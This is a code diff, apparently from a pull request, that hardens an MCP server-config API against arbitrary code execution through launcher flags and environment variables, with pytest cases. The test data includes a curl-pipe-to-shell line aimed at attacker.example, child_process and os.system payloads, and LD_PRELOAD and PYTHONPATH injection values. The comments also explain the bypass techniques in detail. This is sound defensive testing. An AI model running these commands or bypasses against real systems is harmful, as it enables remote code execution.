|
||||||
|
"""
|
||||||
|
grammar = _PACKAGE_LAUNCHERS.get(command.lower())
|
||||||
|
if grammar is not None:
|
||||||
|
for token in _launcher_option_region(args, grammar=grammar):
|
||||||
|
flag = token.split("=", 1)[0]
|
||||||
|
# Long options are matched case-insensitively as before; a short one
|
||||||
|
# is not, because its case selects a different option -- npm's `-C`
|
||||||
|
# is `--prefix`, and folding it onto `-c` rejected an ordinary flag.
|
||||||
|
flag = flag.lower() if flag.startswith("--") else flag
|
||||||
|
if flag in grammar.exec_args:
|
||||||
|
return flag
|
||||||
|
return None
|
||||||
|
|
||||||
|
denied = _ARBITRARY_EXEC_ARGS | _EXEC_ARGS_OUTSIDE_PACKAGE_LAUNCHERS
|
||||||
|
for arg in args:
|
||||||
|
if not isinstance(arg, str):
|
||||||
|
continue
|
||||||
|
flag = arg.split("=", 1)[0].strip().lower()
|
||||||
|
if flag in denied:
|
||||||
|
return flag
|
||||||
|
if not flag.startswith("-") or flag.startswith("--"):
|
||||||
|
continue
|
||||||
|
for letter in flag[1:]:
|
||||||
|
if letter in _CLUSTERED_EXEC_LETTERS:
|
||||||
|
return f"-{letter}"
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
def _validate_mcp_update_request(request: McpConfigUpdateRequest) -> None:
|
def _validate_mcp_update_request(request: McpConfigUpdateRequest) -> None:
|
||||||
"""Validate API-submitted MCP config before it is persisted.
|
"""Validate API-submitted MCP config before it is persisted.
|
||||||
|
|
||||||
Local config files can still express arbitrary advanced setups, but the
|
Local config files can still express arbitrary advanced setups, but the
|
||||||
HTTP API is an untrusted boundary. Restricting stdio commands here reduces
|
HTTP API is an untrusted boundary. Restricting stdio commands here reduces
|
||||||
the blast radius of a compromised authenticated browser session.
|
the blast radius of a compromised authenticated browser session.
|
||||||
|
|
||||||
|
The command name alone is not a meaningful restriction, so the launcher's
|
||||||
|
``args`` and ``env`` are screened for the flags and variables that turn an
|
||||||
|
allowlisted binary into an arbitrary code evaluator.
|
||||||
"""
|
"""
|
||||||
allowed_commands = _allowed_stdio_commands()
|
allowed_commands = _allowed_stdio_commands()
|
||||||
for name, server in request.mcp_servers.items():
|
for name, server in request.mcp_servers.items():
|
||||||
@ -214,6 +604,20 @@ def _validate_mcp_update_request(request: McpConfigUpdateRequest) -> None:
|
|||||||
detail=(f"MCP server '{name}' uses disallowed stdio command '{command_name}'. Allowed commands: {allowed}. Configure {_MCP_STDIO_COMMAND_ALLOWLIST_ENV} to extend this list."),
|
detail=(f"MCP server '{name}' uses disallowed stdio command '{command_name}'. Allowed commands: {allowed}. Configure {_MCP_STDIO_COMMAND_ALLOWLIST_ENV} to extend this list."),
|
||||||
)
|
)
|
||||||
|
|
||||||
|
exec_flag = _arbitrary_exec_arg(server.args, command=command_name)
|
||||||
|
if exec_flag is not None:
|
||||||
|
raise HTTPException(
|
||||||
|
status_code=status.HTTP_400_BAD_REQUEST,
|
||||||
|
detail=(f"MCP server '{name}' passes '{exec_flag}' to '{command_name}', which would run arbitrary code. Point the server at a package or module instead."),
|
||||||
|
)
|
||||||
|
|
||||||
|
for env_name in server.env:
|
||||||
|
if env_name.strip().upper() in _CODE_INJECTING_ENV_VARS:
|
||||||
|
raise HTTPException(
|
||||||
|
status_code=status.HTTP_400_BAD_REQUEST,
|
||||||
|
detail=(f"MCP server '{name}' sets environment variable '{env_name}', which would run arbitrary code at process startup."),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
def _mask_server_config(server: McpServerConfigResponse) -> McpServerConfigResponse:
|
def _mask_server_config(server: McpServerConfigResponse) -> McpServerConfigResponse:
|
||||||
"""Return a copy of server config with sensitive fields masked.
|
"""Return a copy of server config with sensitive fields masked.
|
||||||
|
|||||||
@ -703,6 +703,51 @@ async def test_update_mcp_server_state_allows_disabling_but_rejects_enabling_dis
|
|||||||
assert reset_calls == 1
|
assert reset_calls == 1
|
||||||
|
|
||||||
|
|
||||||
|
@pytest.mark.asyncio
|
||||||
|
async def test_update_mcp_server_state_rejects_enabling_arbitrary_exec_args(monkeypatch, tmp_path):
|
||||||
|
"""The enable path shares the args denylist.
|
||||||
|
|
||||||
|
PATCH only writes ``enabled``, so a file-configured entry carrying an
|
||||||
|
arbitrary-exec flag must still be rejected rather than going live.
|
||||||
|
"""
|
||||||
|
config_path = tmp_path / "extensions_config.json"
|
||||||
|
config_path.write_text(
|
||||||
|
json.dumps(
|
||||||
|
{
|
||||||
|
"mcpServers": {
|
||||||
|
"npx-shell": {
|
||||||
|
"enabled": False,
|
||||||
|
"type": "stdio",
|
||||||
|
"command": "npx",
|
||||||
|
"args": ["--yes", "-c", "printf canary"],
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"skills": {},
|
||||||
|
}
|
||||||
|
),
|
||||||
|
encoding="utf-8",
|
||||||
|
)
|
||||||
|
|
||||||
|
def fake_reload_extensions_config():
|
||||||
|
return ExtensionsConfig.model_validate(json.loads(config_path.read_text(encoding="utf-8")))
|
||||||
|
|
||||||
|
monkeypatch.setattr(mcp_router.ExtensionsConfig, "resolve_config_path", lambda: config_path)
|
||||||
|
monkeypatch.setattr(mcp_router, "reload_extensions_config", fake_reload_extensions_config)
|
||||||
|
monkeypatch.setattr(mcp_router, "reset_mcp_tools_cache", lambda: None)
|
||||||
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
||||||
|
|
||||||
|
with pytest.raises(HTTPException) as exc_info:
|
||||||
|
await update_mcp_server_state(
|
||||||
|
_request_with_role("admin"),
|
||||||
|
McpServerStateUpdateRequest(server_name="npx-shell", enabled=True),
|
||||||
|
)
|
||||||
|
|
||||||
|
assert exc_info.value.status_code == 400
|
||||||
|
assert "arbitrary code" in exc_info.value.detail
|
||||||
|
persisted = json.loads(config_path.read_text(encoding="utf-8"))
|
||||||
|
assert persisted["mcpServers"]["npx-shell"]["enabled"] is False
|
||||||
|
|
||||||
|
|
||||||
@pytest.mark.asyncio
|
@pytest.mark.asyncio
|
||||||
@pytest.mark.parametrize("transport", ["sse", "http"])
|
@pytest.mark.parametrize("transport", ["sse", "http"])
|
||||||
async def test_update_mcp_server_state_enables_raw_transport_alias(
|
async def test_update_mcp_server_state_enables_raw_transport_alias(
|
||||||
@ -891,6 +936,553 @@ def test_validate_mcp_update_ignores_remote_transports(monkeypatch):
|
|||||||
_validate_mcp_update_request(request)
|
_validate_mcp_update_request(request)
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# The stdio allowlist must constrain args and env, not just the command name.
|
||||||
|
#
|
||||||
|
# `npx`/`uvx` exist to fetch and run code, so allowlisting the *command* alone
|
||||||
|
# names a binary without constraining what that binary runs. These pin the
|
||||||
|
# arbitrary-exec argument and environment denylists that make the allowlist
|
||||||
|
# mean something, alongside positive cases pinning that ordinary MCP server
|
||||||
|
# invocations keep validating. Defense in depth, not a trust boundary -- see
|
||||||
|
# `_ARBITRARY_EXEC_ARGS` for the residual risk that stays by design.
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
@pytest.mark.parametrize(
|
||||||
|
"args",
|
||||||
|
[
|
||||||
|
["-c", "printf canary"],
|
||||||
|
["--yes", "-c", "curl -s https://attacker.example/x.sh | sh"],
|
||||||
|
["--call", "printf pwned"],
|
||||||
|
["--call=printf pwned"],
|
||||||
|
["-c=printf pwned"],
|
||||||
|
# In the launcher's own option region. The same flag *after* the package
|
||||||
|
# name belongs to the server's CLI and is allowed -- see
|
||||||
|
# `test_validate_mcp_update_allows_server_own_flags_after_package_name`.
|
||||||
|
["--yes", "--eval", "require('child_process').exec('id')"],
|
||||||
|
["-e", "process.exit(0)"],
|
||||||
|
["--print", "1"],
|
||||||
|
["--node-arg", "-e", "1"],
|
||||||
|
["--node-options=--require=/tmp/payload.js"],
|
||||||
|
],
|
||||||
|
)
|
||||||
|
def test_validate_mcp_update_rejects_arbitrary_exec_args(monkeypatch, args):
|
||||||
|
"""An allowlisted launcher must not be turned into a shell by its args."""
|
||||||
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
||||||
|
request = McpConfigUpdateRequest(
|
||||||
|
mcp_servers={
|
||||||
|
"npx-shell": McpServerConfigResponse(
|
||||||
|
type="stdio",
|
||||||
|
command="npx",
|
||||||
|
args=args,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
with pytest.raises(HTTPException) as exc_info:
|
||||||
|
_validate_mcp_update_request(request)
|
||||||
|
|
||||||
|
assert exc_info.value.status_code == 400
|
||||||
|
assert "arbitrary code" in exc_info.value.detail
|
||||||
|
|
||||||
|
|
||||||
|
def test_validate_mcp_update_rejects_arbitrary_exec_args_case_insensitively(monkeypatch):
|
||||||
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
||||||
|
request = McpConfigUpdateRequest(
|
||||||
|
mcp_servers={
|
||||||
|
"npx-shell": McpServerConfigResponse(
|
||||||
|
type="stdio",
|
||||||
|
command="npx",
|
||||||
|
args=["--CALL", "printf pwned"],
|
||||||
|
)
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
with pytest.raises(HTTPException) as exc_info:
|
||||||
|
_validate_mcp_update_request(request)
|
||||||
|
|
||||||
|
assert exc_info.value.status_code == 400
|
||||||
|
|
||||||
|
|
||||||
|
def test_validate_mcp_update_rejects_python_dash_c(monkeypatch):
|
||||||
|
"""The denylist applies to every allowlisted command, not just npx/uvx."""
|
||||||
|
monkeypatch.setenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, "python")
|
||||||
|
request = McpConfigUpdateRequest(
|
||||||
|
mcp_servers={
|
||||||
|
"python-shell": McpServerConfigResponse(
|
||||||
|
type="stdio",
|
||||||
|
command="python",
|
||||||
|
args=["-c", "import os; os.system('id')"],
|
||||||
|
)
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
with pytest.raises(HTTPException) as exc_info:
|
||||||
|
_validate_mcp_update_request(request)
|
||||||
|
|
||||||
|
assert exc_info.value.status_code == 400
|
||||||
|
|
||||||
|
|
||||||
|
@pytest.mark.parametrize(
|
||||||
|
("command", "args"),
|
||||||
|
[
|
||||||
|
("npx", ["-y", "@modelcontextprotocol/server-github"]),
|
||||||
|
("npx", ["--yes", "--package=@scope/pkg", "server-bin"]),
|
||||||
|
("npx", ["-p", "@scope/pkg", "server-bin"]),
|
||||||
|
("uvx", ["mcp-server-fetch"]),
|
||||||
|
("uvx", ["--from", "mcp-server-git", "mcp-server-git", "--repository", "/repo"]),
|
||||||
|
("uvx", ["-p", "3.12", "mcp-server-time"]),
|
||||||
|
("uvx", ["--python", "3.12", "mcp-server-time", "--local-timezone", "UTC"]),
|
||||||
|
],
|
||||||
|
)
|
||||||
|
def test_validate_mcp_update_allows_ordinary_launcher_args(monkeypatch, command, args):
|
||||||
|
"""The real-world MCP server invocations must keep working."""
|
||||||
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
||||||
|
request = McpConfigUpdateRequest(
|
||||||
|
mcp_servers={
|
||||||
|
"ordinary": McpServerConfigResponse(
|
||||||
|
type="stdio",
|
||||||
|
command=command,
|
||||||
|
args=args,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
_validate_mcp_update_request(request)
|
||||||
|
|
||||||
|
|
||||||
|
def test_validate_mcp_update_allows_python_dash_m(monkeypatch):
|
||||||
|
monkeypatch.setenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, "python")
|
||||||
|
request = McpConfigUpdateRequest(
|
||||||
|
mcp_servers={
|
||||||
|
"python-mcp": McpServerConfigResponse(
|
||||||
|
type="stdio",
|
||||||
|
command="python",
|
||||||
|
args=["-m", "trusted_mcp_server"],
|
||||||
|
)
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
_validate_mcp_update_request(request)
|
||||||
|
|
||||||
|
|
||||||
|
@pytest.mark.parametrize(
|
||||||
|
"env",
|
||||||
|
[
|
||||||
|
{"NODE_OPTIONS": "--require=/tmp/payload.js"},
|
||||||
|
{"LD_PRELOAD": "/tmp/payload.so"},
|
||||||
|
{"DYLD_INSERT_LIBRARIES": "/tmp/payload.dylib"},
|
||||||
|
{"BASH_ENV": "/tmp/payload.sh"},
|
||||||
|
{"PYTHONSTARTUP": "/tmp/payload.py"},
|
||||||
|
{"node_options": "--import=/tmp/payload.mjs"},
|
||||||
|
],
|
||||||
|
)
|
||||||
|
def test_validate_mcp_update_rejects_code_injecting_env(monkeypatch, env):
|
||||||
|
"""Env-based startup injection is the same bypass as an exec flag."""
|
||||||
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
||||||
|
request = McpConfigUpdateRequest(
|
||||||
|
mcp_servers={
|
||||||
|
"env-inject": McpServerConfigResponse(
|
||||||
|
type="stdio",
|
||||||
|
command="npx",
|
||||||
|
args=["-y", "@modelcontextprotocol/server-github"],
|
||||||
|
env=env,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
with pytest.raises(HTTPException) as exc_info:
|
||||||
|
_validate_mcp_update_request(request)
|
||||||
|
|
||||||
|
assert exc_info.value.status_code == 400
|
||||||
|
assert "environment variable" in exc_info.value.detail
|
||||||
|
|
||||||
|
|
||||||
|
def test_validate_mcp_update_allows_ordinary_env(monkeypatch):
|
||||||
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
||||||
|
request = McpConfigUpdateRequest(
|
||||||
|
mcp_servers={
|
||||||
|
"github": McpServerConfigResponse(
|
||||||
|
type="stdio",
|
||||||
|
command="npx",
|
||||||
|
args=["-y", "@modelcontextprotocol/server-github"],
|
||||||
|
env={"GITHUB_TOKEN": "$GITHUB_TOKEN", "MCP_LOG_LEVEL": "debug"},
|
||||||
|
)
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
_validate_mcp_update_request(request)
|
||||||
|
|
||||||
|
|
||||||
|
@pytest.mark.parametrize(
|
||||||
|
"env",
|
||||||
|
[
|
||||||
|
{"PYTHONPATH": "/tmp/payload-dir"},
|
||||||
|
{"pythonpath": "/tmp/payload-dir"},
|
||||||
|
{"PYTHONHOME": "/tmp/fake-prefix"},
|
||||||
|
],
|
||||||
|
)
|
||||||
|
def test_validate_mcp_update_rejects_python_import_path_env(monkeypatch, env):
|
||||||
|
"""`PYTHONPATH` runs code at startup, and `uvx` is on the default allowlist.
|
||||||
|
|
||||||
|
`site` searches every `sys.path` entry -- which includes `PYTHONPATH` --
|
||||||
|
for `sitecustomize.py` and imports it before the tool's entry point runs,
|
||||||
|
so a directory the caller controls is arbitrary code execution. Verified
|
||||||
|
against the real launcher: `PYTHONPATH=<dir> uvx <tool>` executes
|
||||||
|
`<dir>/sitecustomize.py`. `PYTHONHOME` is the same class, by repointing
|
||||||
|
the stdlib at a caller-controlled prefix.
|
||||||
|
"""
|
||||||
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
||||||
|
request = McpConfigUpdateRequest(
|
||||||
|
mcp_servers={
|
||||||
|
"python-path-inject": McpServerConfigResponse(
|
||||||
|
type="stdio",
|
||||||
|
command="uvx",
|
||||||
|
args=["mcp-server-fetch"],
|
||||||
|
env=env,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
with pytest.raises(HTTPException) as exc_info:
|
||||||
|
_validate_mcp_update_request(request)
|
||||||
|
|
||||||
|
assert exc_info.value.status_code == 400
|
||||||
|
assert "environment variable" in exc_info.value.detail
|
||||||
|
|
||||||
|
|
||||||
|
@pytest.mark.parametrize(
|
||||||
|
"env",
|
||||||
|
[
|
||||||
|
{"NODE_PATH": "/tmp/payload-dir"},
|
||||||
|
{"LD_LIBRARY_PATH": "/tmp/payload-dir"},
|
||||||
|
{"DYLD_LIBRARY_PATH": "/tmp/payload-dir"},
|
||||||
|
],
|
||||||
|
)
|
||||||
|
def test_validate_mcp_update_allows_caller_controlled_search_path_env(monkeypatch, env):
|
||||||
|
"""Search-path variables are a deliberate residual, not an oversight.
|
||||||
|
|
||||||
|
`_CODE_INJECTING_ENV_VARS` holds names that execute code unconditionally at
|
||||||
|
startup. A search path reaches code only if the process happens to load a
|
||||||
|
name the caller can shadow, so it belongs to a weaker class. `NODE_PATH` is
|
||||||
|
the weakest of the three and the one most easily mistaken for `PYTHONPATH`:
|
||||||
|
verified against node v22, it is searched *after* the local `node_modules`
|
||||||
|
chain, so `NODE_PATH=<evil> node main.js` still resolves an installed `dep`
|
||||||
|
to the real one, and ESM `import` ignores it entirely -- unlike `site`,
|
||||||
|
which imports `sitecustomize.py` from `sys.path` before any user code runs.
|
||||||
|
"""
|
||||||
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
||||||
|
request = McpConfigUpdateRequest(
|
||||||
|
mcp_servers={
|
||||||
|
"search-path-env": McpServerConfigResponse(
|
||||||
|
type="stdio",
|
||||||
|
command="npx",
|
||||||
|
args=["-y", "@modelcontextprotocol/server-github"],
|
||||||
|
env=env,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
_validate_mcp_update_request(request)
|
||||||
|
|
||||||
|
|
||||||
|
@pytest.mark.parametrize(
|
||||||
|
("command", "args"),
|
||||||
|
[
|
||||||
|
("node", ["-p", "require('child_process').execSync('id')"]),
|
||||||
|
("node", ["-p=1"]),
|
||||||
|
("python", ["-p", "whatever"]),
|
||||||
|
],
|
||||||
|
)
|
||||||
|
def test_validate_mcp_update_rejects_dash_p_outside_package_launchers(monkeypatch, command, args):
|
||||||
|
"""`-p` is only `--package`/`--python` on npx/uvx; elsewhere it evaluates.
|
||||||
|
|
||||||
|
`node -p` is the short form of `--print`, which is blocked as a long flag,
|
||||||
|
so exempting `-p` for every command left the two spellings of one flag
|
||||||
|
disagreeing whenever an operator extended the allowlist.
|
||||||
|
"""
|
||||||
|
monkeypatch.setenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, "node,python")
|
||||||
|
request = McpConfigUpdateRequest(
|
||||||
|
mcp_servers={
|
||||||
|
"dash-p": McpServerConfigResponse(
|
||||||
|
type="stdio",
|
||||||
|
command=command,
|
||||||
|
args=args,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
with pytest.raises(HTTPException) as exc_info:
|
||||||
|
_validate_mcp_update_request(request)
|
||||||
|
|
||||||
|
assert exc_info.value.status_code == 400
|
||||||
|
assert "arbitrary code" in exc_info.value.detail
|
||||||
|
|
||||||
|
|
||||||
|
@pytest.mark.parametrize(
|
||||||
|
("command", "args", "expected_flag"),
|
||||||
|
[
|
||||||
|
("node", ["-pe", "1"], "-p"),
|
||||||
|
("node", ["-ep", "1"], "-e"),
|
||||||
|
("python", ["-Ic", "import os"], "-c"),
|
||||||
|
("perl", ["-we", "print 1"], "-e"),
|
||||||
|
],
|
||||||
|
)
|
||||||
|
def test_validate_mcp_update_decomposes_short_flag_clusters(monkeypatch, command, args, expected_flag):
|
||||||
|
"""A combined short-option cluster is the same flag with the dash shared.
|
||||||
|
|
||||||
|
Splitting only on `=` left `node -pe <code>` unscreened while `node -p`
|
||||||
|
and `node --print` were both caught. The reported flag stays normalized to
|
||||||
|
a single option so the message never echoes the caller's payload.
|
||||||
|
"""
|
||||||
|
monkeypatch.setenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, "node,python,perl")
|
||||||
|
request = McpConfigUpdateRequest(
|
||||||
|
mcp_servers={
|
||||||
|
"clustered": McpServerConfigResponse(
|
||||||
|
type="stdio",
|
||||||
|
command=command,
|
||||||
|
args=args,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
with pytest.raises(HTTPException) as exc_info:
|
||||||
|
_validate_mcp_update_request(request)
|
||||||
|
|
||||||
|
assert exc_info.value.status_code == 400
|
||||||
|
assert f"'{expected_flag}'" in exc_info.value.detail
|
||||||
|
|
||||||
|
|
||||||
|
@pytest.mark.parametrize(
|
||||||
|
("command", "args"),
|
||||||
|
[
|
||||||
|
("npx", ["-y", "@scope/server", "-name", "value"]),
|
||||||
|
("npx", ["-y", "@scope/server", "-exclude", "node_modules"]),
|
||||||
|
("uvx", ["mcp-server-git", "-repo", "/srv/repo"]),
|
||||||
|
],
|
||||||
|
)
|
||||||
|
def test_validate_mcp_update_does_not_decompose_package_launcher_args(monkeypatch, command, args):
|
||||||
|
"""Cluster decomposition is deliberately scoped to non-package launchers.
|
||||||
|
|
||||||
|
npx/uvx do not combine short options, and everything after the package
|
||||||
|
name belongs to a third-party server's own CLI, where single-dash
|
||||||
|
multi-letter flags are ordinary. Decomposing there would reject
|
||||||
|
`-name`/`-exclude` for containing an `e` while buying no coverage, so the
|
||||||
|
default allowlist keeps whole-token matching only.
|
||||||
|
"""
|
||||||
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
||||||
|
request = McpConfigUpdateRequest(
|
||||||
|
mcp_servers={
|
||||||
|
"third-party-args": McpServerConfigResponse(
|
||||||
|
type="stdio",
|
||||||
|
command=command,
|
||||||
|
args=args,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
_validate_mcp_update_request(request)
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# The argument screen applies to the launcher's own option region only.
|
||||||
|
#
|
||||||
|
# `npx`/`uvx` stop parsing their own flags at the package name; every later
|
||||||
|
# token belongs to the third-party server's CLI, where `-c` is routinely
|
||||||
|
# "config" and `-e` is "env". Screening those rejected ordinary servers while
|
||||||
|
# buying no coverage. The boundary has to account for options that consume a
|
||||||
|
# value, or an exec flag hiding behind one slips past the screen entirely.
|
||||||
|
#
|
||||||
|
# Verified against npm 10.9.4 / uv 0.11.1:
|
||||||
|
# npx . -c X -> server argv ["-c", "X"] (package ends it)
|
||||||
|
# npx -- . -c X -> server argv ["-c", "X"] (first token after
|
||||||
|
# `--` is the package)
|
||||||
|
# npx --parseable . -c X-> server argv ["-c", "X"] (boolean, then package)
|
||||||
|
# npx -p . -c 'echo Z' -> npm RUNS `echo Z` (`-p` is exec's
|
||||||
|
# `--package`, so `.`
|
||||||
|
# is its value and the
|
||||||
|
# option region goes on)
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
@pytest.mark.parametrize(
|
||||||
|
("command", "args"),
|
||||||
|
[
|
||||||
|
("npx", ["-y", "@scope/server", "-c", "config.json"]),
|
||||||
|
("npx", ["-y", "@scope/server", "-e", "production"]),
|
||||||
|
("npx", ["-y", "@scope/server", "--", "-c", "config.json"]),
|
||||||
|
("npx", ["--", "@scope/server", "--eval", "expr"]),
|
||||||
|
("npx", ["@scope/server", "--call", "not-a-launcher-flag"]),
|
||||||
|
("npx", ["--yes", "some-package", "--eval", "expr"]),
|
||||||
|
("npx", ["--parseable", "@scope/server", "-c", "config.json"]),
|
||||||
|
("uvx", ["mcp-server-x", "-e", "prod"]),
|
||||||
|
("uvx", ["--from", "pkg", "tool", "--print", "table"]),
|
||||||
|
],
|
||||||
|
)
|
||||||
|
def test_validate_mcp_update_allows_server_own_flags_after_package_name(monkeypatch, command, args):
|
||||||
|
"""Trailing arguments belong to the spawned server, not to the launcher."""
|
||||||
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
||||||
|
request = McpConfigUpdateRequest(
|
||||||
|
mcp_servers={
|
||||||
|
"third-party-cli": McpServerConfigResponse(
|
||||||
|
type="stdio",
|
||||||
|
command=command,
|
||||||
|
args=args,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
_validate_mcp_update_request(request)
|
||||||
|
|
||||||
|
|
||||||
|
def test_validate_mcp_update_allows_uvx_constraints_short_flag(monkeypatch):
|
||||||
|
"""`-c` is uv's `--constraints <file>`, an ordinary launcher option.
|
||||||
|
|
||||||
|
uv has no flag that evaluates a string, so a short spelling collision with
|
||||||
|
another tool's exec flag must not cost uvx its own documented option.
|
||||||
|
"""
|
||||||
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
||||||
|
request = McpConfigUpdateRequest(
|
||||||
|
mcp_servers={
|
||||||
|
"constrained": McpServerConfigResponse(
|
||||||
|
type="stdio",
|
||||||
|
command="uvx",
|
||||||
|
args=["-c", "constraints.txt", "mcp-server-fetch"],
|
||||||
|
)
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
_validate_mcp_update_request(request)
|
||||||
|
|
||||||
|
|
||||||
|
@pytest.mark.parametrize(
|
||||||
|
("args", "expected_flag"),
|
||||||
|
[
|
||||||
|
(["-p", "@scope/pkg", "-c", "echo pwned"], "-c"),
|
||||||
|
(["--package", "@scope/pkg", "--call", "echo pwned"], "--call"),
|
||||||
|
(["--registry", "https://registry.example", "-c", "echo pwned"], "-c"),
|
||||||
|
(["-w", "workspace-a", "--call", "echo pwned"], "--call"),
|
||||||
|
(["--loglevel", "silly", "-c", "echo pwned"], "-c"),
|
||||||
|
],
|
||||||
|
)
|
||||||
|
def test_validate_mcp_update_rejects_exec_flag_behind_value_taking_option(monkeypatch, args, expected_flag):
|
||||||
|
"""An option that consumes a value does not end the launcher's option region.
|
||||||
|
|
||||||
|
`npx -p <pkg> -c '<command>'` runs the command: `-p` is `--package`, so its
|
||||||
|
value is not the package positional and npm keeps parsing its own flags.
|
||||||
|
Ending the screen at the first non-flag token would walk straight past it.
|
||||||
|
"""
|
||||||
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
||||||
|
request = McpConfigUpdateRequest(
|
||||||
|
mcp_servers={
|
||||||
|
"behind-a-value": McpServerConfigResponse(
|
||||||
|
type="stdio",
|
||||||
|
command="npx",
|
||||||
|
args=args,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
with pytest.raises(HTTPException) as exc_info:
|
||||||
|
_validate_mcp_update_request(request)
|
||||||
|
|
||||||
|
assert exc_info.value.status_code == 400
|
||||||
|
assert f"'{expected_flag}'" in exc_info.value.detail
|
||||||
|
|
||||||
|
|
||||||
|
def test_validate_mcp_update_rejects_unknown_launcher_flag_before_exec_flag(monkeypatch):
|
||||||
|
"""An unrecognized npx option is assumed to consume a value.
|
||||||
|
|
||||||
|
npm errors on an option it does not define, so this direction cannot break
|
||||||
|
a working invocation, while the opposite default would let an npm config
|
||||||
|
this file has not enumerated carry an exec flag past the boundary.
|
||||||
|
"""
|
||||||
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
||||||
|
request = McpConfigUpdateRequest(
|
||||||
|
mcp_servers={
|
||||||
|
"unknown-option": McpServerConfigResponse(
|
||||||
|
type="stdio",
|
||||||
|
command="npx",
|
||||||
|
args=["--not-an-npm-option", "value", "--call", "echo pwned"],
|
||||||
|
)
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
with pytest.raises(HTTPException) as exc_info:
|
||||||
|
_validate_mcp_update_request(request)
|
||||||
|
|
||||||
|
assert exc_info.value.status_code == 400
|
||||||
|
assert "'--call'" in exc_info.value.detail
|
||||||
|
|
||||||
|
|
||||||
|
@pytest.mark.parametrize(
|
||||||
|
"args",
|
||||||
|
[
|
||||||
|
# `-C` is npm's `--prefix <dir>`, not `--call`; folding case onto `-c`
|
||||||
|
# rejected an ordinary option.
|
||||||
|
["-C", "/srv/prefix", "@scope/server"],
|
||||||
|
# `-P` is `--save-prod` (boolean), so the next token is the package and
|
||||||
|
# the server's own `-c` stays out of the launcher's option region.
|
||||||
|
["-P", "@scope/server", "-c", "config.json"],
|
||||||
|
],
|
||||||
|
)
|
||||||
|
def test_validate_mcp_update_reads_short_launcher_options_case_sensitively(monkeypatch, args):
|
||||||
|
"""A short option's case selects a different option, so matching keeps it.
|
||||||
|
|
||||||
|
Long spellings stay case-insensitive -- see
|
||||||
|
`test_validate_mcp_update_rejects_arbitrary_exec_args_case_insensitively`.
|
||||||
|
"""
|
||||||
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
||||||
|
request = McpConfigUpdateRequest(
|
||||||
|
mcp_servers={
|
||||||
|
"case-sensitive": McpServerConfigResponse(
|
||||||
|
type="stdio",
|
||||||
|
command="npx",
|
||||||
|
args=args,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
_validate_mcp_update_request(request)
|
||||||
|
|
||||||
|
|
||||||
|
def test_validate_mcp_update_keeps_uvx_long_exec_spellings_as_a_tripwire(monkeypatch):
|
||||||
|
"""uvx has no exec flag today; the long spellings stay as a cheap tripwire."""
|
||||||
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
||||||
|
request = McpConfigUpdateRequest(
|
||||||
|
mcp_servers={
|
||||||
|
"uvx-tripwire": McpServerConfigResponse(
|
||||||
|
type="stdio",
|
||||||
|
command="uvx",
|
||||||
|
args=["--eval", "print(1)", "some-tool"],
|
||||||
|
)
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
with pytest.raises(HTTPException) as exc_info:
|
||||||
|
_validate_mcp_update_request(request)
|
||||||
|
|
||||||
|
assert exc_info.value.status_code == 400
|
||||||
|
